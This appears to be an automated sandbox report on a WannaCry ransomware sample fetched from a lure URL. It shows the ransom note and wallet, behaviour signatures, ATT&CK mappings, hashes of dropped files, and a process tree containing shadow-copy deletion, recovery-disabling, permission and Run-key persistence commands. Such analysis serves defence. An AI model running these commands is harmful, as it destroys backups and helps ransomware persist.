Overview

overview

10

Static

static

1

URLScan

urlscan

1

https://roblox-sus-c...

windows7-x64

10

https://roblox-sus-c...

windows10-1703-x64

10

https://roblox-sus-c...

windows10-2004-x64

1

https://roblox-sus-c...

windows11-21h2-x64

1

Resubmissions

22/06/2024, 17:11

240622-vqha2szfml10

22/06/2024, 12:40

240622-pv75daycjc

22/06/2024, 12:37

240622-pt1c5ssdnj10

Analysis

  • max time kernel
    78s
  • max time network
    83s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/06/2024, 12:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    https://roblox-sus-com.webnode.page/access-denied/
  • Sample240622-pt1c5ssdnj
Score
10/10
wannacrydefense_evasiondiscoveryexecutionimpactpersistenceransomwareworm

Malware Config

Extracted

Path

  • wannacry

Ransom Note
  • Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets

  • 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Signatures

  • Wannacry

    WannaCry is a ransomware cryptoworm.

    ransomwarewormwannacry
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Drops startup file 2 IoCs
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 7 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Windows\system32\LaunchWinApp.exe
    "C:\Windows\system32\LaunchWinApp.exe" "https://roblox-sus-com.webnode.page/access-denied/"
    1⤵
      PID:4520
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
      1⤵
      • Drops file in Windows directory
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3620
    • C:\Windows\system32\browser_broker.exe
      C:\Windows\system32\browser_broker.exe -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • NTFS ADS
      PID:4512
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Modifies registry class
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3792
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4700
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Drops file in Windows directory
      • Modifies registry class
      PID:4708
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:1528
      • C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
        "C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
        1⤵
        • Drops startup file
        • Sets desktop wallpaper using registry
        • Suspicious use of WriteProcessMemory
        PID:952
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h .
          2⤵
          • Views/modifies file attributes
          PID:224
        • C:\Windows\SysWOW64\icacls.exe
          icacls . /grant Everyone:F /T /C /Q
          2⤵
          • Modifies file permissions
          PID:2920
        • C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
          taskdl.exe
          2⤵
          • Executes dropped EXE
          PID:3664
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c 137461719059917.bat
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3156
          • C:\Windows\SysWOW64\cscript.exe
            cscript.exe //nologo m.vbs
            3⤵
              PID:4648
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s F:\$RECYCLE
            2⤵
            • Views/modifies file attributes
            PID:1940
          • C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
            @[email protected] co
            2⤵
            • Executes dropped EXE
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4360
            • C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe
              TaskData\Tor\taskhsvc.exe
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              PID:1324
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c start /b @[email protected] vs
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4692
            • C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
              @[email protected] vs
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:5084
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1248
                • C:\Windows\SysWOW64\vssadmin.exe
                  vssadmin delete shadows /all /quiet
                  5⤵
                  • Interacts with shadow copies
                  PID:4208
                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                  wmic shadowcopy delete
                  5⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2620
          • C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
            taskdl.exe
            2⤵
            • Executes dropped EXE
            PID:1608
          • C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
            taskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
            2⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:1528
          • C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
            @[email protected]
            2⤵
            • Executes dropped EXE
            • Sets desktop wallpaper using registry
            • Suspicious use of SetWindowsHookEx
            PID:1144
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "qyrzxkvzsxw219" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4884
            • C:\Windows\SysWOW64\reg.exe
              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "qyrzxkvzsxw219" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f
              3⤵
              • Adds Run key to start application
              • Modifies registry key
              PID:3676
        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
          1⤵
          • Modifies registry class
          PID:5076
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:736

        Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Windows Management Instrumentation

              1
              T1047

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Defense Evasion

              Direct Volume Access

              1
              T1006

              File and Directory Permissions Modification

              2
              T1222

              Windows File and Directory Permissions Modification

              1
              T1222.001

              Hide Artifacts

              1
              T1564

              Hidden Files and Directories

              1
              T1564.001

              Indicator Removal

              2
              T1070

              File Deletion

              2
              T1070.004

              Modify Registry

              4
              T1112

              Credential Access

              Discovery

              Query Registry

              1
              T1012

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Command and Control

              Web Service

              1
              T1102

              Exfiltration

              Impact

              Defacement

              1
              T1491

              Inhibit System Recovery

              2
              T1490

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              57C8EDB95DF3F0AD4EE2DC2B8CFD4157
              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
              • Size 4KB
              • SHA256 9cf94355051bf0f4a45724ca20d1cc02f76371b963ab7d1e38bd8997737b13d8
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              edgecompatviewlist[1].xml
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\E49JWOHD\edgecompatviewlist[1].xml
              • Size 74KB
              • SHA256 853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              ico[1].png
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\0W1E51KV\ico[1].png
              • Size 34KB
              • SHA256 008d4e02023653756e32f711840eb2c37fdbbdf334349680085b688a91376c64
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              lang.de.1397[1].js
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\0W1E51KV\lang.de.1397[1].js
              • Size 1KB
              • SHA256 37775469a4831067035be7f122b21719a96291c842aabcd0a8321d2c0186ff4d
              • MD5 SHA1 SHA512
              Submit Download

              compiled.multi.2-1714[1].js
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\7F1ICNV1\compiled.multi.2-1714[1].js
              • Size 183KB
              • SHA256 0ef132e7ff1d2d76129d833da0dbbcd1846074837c1c496df6f160ee22ebe840
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              4a9uom[1].js
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\TD82WHT0\4a9uom[1].js
              • Size 549KB
              • SHA256 dd01198e66a0fe612f5a600183663eeb45373deb846095a9b42839d264fbc5e9
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              Ransomware.WannaCry[1].zip
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\TD82WHT0\Ransomware.WannaCry[1].zip
              • Size 3.3MB
              • SHA256 707a9f323556179571bc832e34fa592066b1d5f2cac4a7426fe163597e3e618a
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              07fzq8[1].svg
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\7863LXT4\07fzq8[1].svg
              • Size 316B
              • SHA256 3d3cb3ba6400aaa09bb71417881140508489db981f71094f8be3cb84196fb1b3
              • MD5 SHA1 SHA512
              Submit Download

              suggestions[1].en-US
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\7863LXT4\suggestions[1].en-US
              • Size 17KB
              • SHA256 c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              1j3767[1].ico
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\AB5SU7FD\1j3767[1].ico
              • Size 22KB
              • SHA256 14fb04ab9088ec1cc732eabdba77423b011c3958a63ea16e59d499193d5e04f3
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              2div3h[1].svg
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\AB5SU7FD\2div3h[1].svg
              • Size 413B
              • SHA256 18604d7be53f0b32f2d4533d7bc6d180d36ba81ad8b9d4eb5cead09d962ece36
              • MD5 SHA1 SHA512
              Submit Download

              Ransomware.WannaCry[1].zip
              • Path C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\TD82WHT0\Ransomware.WannaCry[1].zip
              • Size 37KB
              • SHA256 edc28a58059b08596d79db2f9b5ada4e8427627b003a0ed1310fb9acefdd5b79
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              00000000.res
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\00000000.res
              • Size 136B
              • SHA256 b8d88ecda6511ca35016daed9cce61b926cf732c92f62170b33020486bc1dd0c
              • MD5 SHA1 SHA512
              Submit Download

              137461719059917.bat
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\137461719059917.bat
              • Size 400B
              • SHA256 3161fdccd23f68410f6d8b260d6c6b65e9dfb59ef44aef39ebb9d21e24f7c832
              • MD5 SHA1 SHA512
              Submit Download

              @[email protected]
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
              • Size 933B
              • SHA256 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e
              • MD5 SHA1 SHA512
              Submit Download

              @[email protected]
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@[email protected]
              • Size 1KB
              • SHA256 eb76873b689c20a70afdac5f92db1ef6230770941458b51a0821a761372ae313
              • MD5 SHA1 SHA512
              Submit Download

              LIBEAY32.dll
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\LIBEAY32.dll
              • Size 3.0MB
              • SHA256 58be53d5012b3f45c1ca6f4897bece4773efbe1ccbf0be460061c183ee14ca19
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              libevent-2-0-5.dll
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\libevent-2-0-5.dll
              • Size 702KB
              • SHA256 77a250e81fdaf9a075b1244a9434c30bf449012c9b647b265fa81a7b0db2513f
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              tor.exe
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\tor.exe
              • Size 3.0MB
              • SHA256 e48673680746fbe027e8982f62a83c298d6fb46ad9243de8e79b7e5a24dcd4eb
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              b.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\b.wnry
              • Size 1.4MB
              • SHA256 d5e0e8694ddc0548d8e6b87c83d50f4ab85c1debadb106d6a6a794c3e746f4fa
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              c.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\c.wnry
              • Size 780B
              • SHA256 ef0ed0b717d1b956eb6c42ba1f4fd2283cf7c8416bed0afd1e8805ee0502f2b4
              • MD5 SHA1 SHA512
              Submit Download

              m.vbs
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\m.vbs
              • Size 279B
              • SHA256 99af07e8064d0a04d6b706c870f2a02c42f167ffe98fce549aabc450b305a1e6
              • MD5 SHA1 SHA512
              Submit Download

              m_bulgarian.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_bulgarian.wnry
              • Size 46KB
              • SHA256 40b37e7b80cf678d7dd302aaf41b88135ade6ddf44d89bdba19cf171564444bd
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_chinese (simplified).wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_chinese (simplified).wnry
              • Size 53KB
              • SHA256 845d0e178aeebd6c7e2a2e9697b2bf6cf02028c50c288b3ba88fe2918ea2834a
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_chinese (traditional).wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_chinese (traditional).wnry
              • Size 77KB
              • SHA256 5c7f6ad1ec4bc2c8e2c9c126633215daba7de731ac8b12be10ca157417c97f3a
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_croatian.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_croatian.wnry
              • Size 38KB
              • SHA256 3f33734b2d34cce83936ce99c3494cd845f1d2c02d7f6da31d42dfc1ca15a171
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_czech.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_czech.wnry
              • Size 39KB
              • SHA256 5afa4753afa048c6d6c39327ce674f27f5f6e5d3f2a060b7a8aed61725481150
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_danish.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_danish.wnry
              • Size 36KB
              • SHA256 a75bb44284b9db8d702692f84909a7e23f21141866adf3db888042e9109a1cb6
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_dutch.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_dutch.wnry
              • Size 36KB
              • SHA256 2c95bef914da6c50d7bdedec601e589fbb4fda24c4863a7260f4f72bd025799c
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_english.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_english.wnry
              • Size 36KB
              • SHA256 26fd072fda6e12f8c2d3292086ef0390785efa2c556e2a88bd4673102af703e5
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_filipino.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_filipino.wnry
              • Size 36KB
              • SHA256 d8489f8c16318e524b45de8b35d7e2c3cd8ed4821c136f12f5ef3c9fc3321324
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_finnish.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_finnish.wnry
              • Size 37KB
              • SHA256 1adfee058b98206cb4fbe1a46d3ed62a11e1dee2c7ff521c1eef7c706e6a700e
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_french.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_french.wnry
              • Size 37KB
              • SHA256 9bd38110e6523547aed50617ddc77d0920d408faeed2b7a21ab163fda22177bc
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_german.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_german.wnry
              • Size 36KB
              • SHA256 2adc900fafa9938d85ce53cb793271f37af40cf499bcc454f44975db533f0b61
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_greek.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_greek.wnry
              • Size 47KB
              • SHA256 e13cc9b13aa5074dc45d50379eceb17ee39a0c2531ab617d93800fe236758ca9
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_indonesian.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_indonesian.wnry
              • Size 36KB
              • SHA256 23e5e738aad10fb8ef89aa0285269aff728070080158fd3e7792fe9ed47c51f4
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_italian.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_italian.wnry
              • Size 36KB
              • SHA256 49f2c739e7d9745c0834dc817a71bf6676ccc24a4c28dcddf8844093aab3df07
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_japanese.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_japanese.wnry
              • Size 79KB
              • SHA256 7e491e7b48d6e34f916624c1cda9f024e86fcbec56acda35e27fa99d530d017e
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_korean.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_korean.wnry
              • Size 89KB
              • SHA256 552aa0f82f37c9601114974228d4fc54f7434fe3ae7a276ef1ae98a0f608f1d0
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_latvian.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_latvian.wnry
              • Size 40KB
              • SHA256 a0356696877f2d94d645ae2df6ce6b370bd5c0d6db3d36def44e714525de0536
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_norwegian.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_norwegian.wnry
              • Size 36KB
              • SHA256 cb5da96b3dfcf4394713623dbf3831b2a0b8be63987f563e1c32edeb74cb6c3a
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_polish.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_polish.wnry
              • Size 38KB
              • SHA256 519ad66009a6c127400c6c09e079903223bd82ecc18ad71b8e5cd79f5f9c053e
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_portuguese.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_portuguese.wnry
              • Size 37KB
              • SHA256 bd9f4b3aedf4f81f37ec0a028aabcb0e9a900e6b4de04e9271c8db81432e2a66
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_romanian.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_romanian.wnry
              • Size 50KB
              • SHA256 70c0f32ed379ae899e5ac975e20bbbacd295cf7cd50c36174d2602420c770ac1
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_russian.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_russian.wnry
              • Size 46KB
              • SHA256 02932052fafe97e6acaaf9f391738a3a826f5434b1a013abbfa7a6c1ade1e078
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_slovak.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_slovak.wnry
              • Size 40KB
              • SHA256 e64178e339c8e10eac17a236a67b892d0447eb67b1dcd149763dad6fd9f72729
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_spanish.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_spanish.wnry
              • Size 36KB
              • SHA256 72f20024b2f69b45a1391f0a6474e9f6349625ce329f5444aec7401fe31f8de1
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_swedish.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_swedish.wnry
              • Size 37KB
              • SHA256 146f61db72297c9c0facffd560487f8d6a2846ecec92ecc7db19c8d618dbc3a4
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_turkish.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_turkish.wnry
              • Size 41KB
              • SHA256 6db650836d64350bbde2ab324407b8e474fc041098c41ecac6fd77d632a36415
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              m_vietnamese.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\msg\m_vietnamese.wnry
              • Size 91KB
              • SHA256 1f21838b244c80f8bed6f6977aa8a557b419cf22ba35b1fd4bf0f98989c5bdf8
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              r.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\r.wnry
              • Size 864B
              • SHA256 402751fa49e0cb68fe052cb3db87b05e71c1d950984d339940cf6b29409f2a7c
              • MD5 SHA1 SHA512
              Submit Download

              s.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\s.wnry
              • Size 2.9MB
              • SHA256 e18fdd912dfe5b45776e68d578c3af3547886cf1353d7086c8bee037436dff4b
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              t.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\t.wnry
              • Size 64KB
              • SHA256 97ebce49b14c46bebc9ec2448d00e1e397123b256e2be9eba5140688e7bc0ae6
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              taskdl.exe
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe
              • Size 20KB
              • SHA256 4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              taskse.exe
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe
              • Size 20KB
              • SHA256 2ca2d550e603d74dedda03156023135b38da3630cb014e3d00b1263358c5f00d
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              u.wnry
              • Path C:\Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\u.wnry
              • Size 240KB
              • SHA256 b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              libgcc_s_sjlj-1.dll
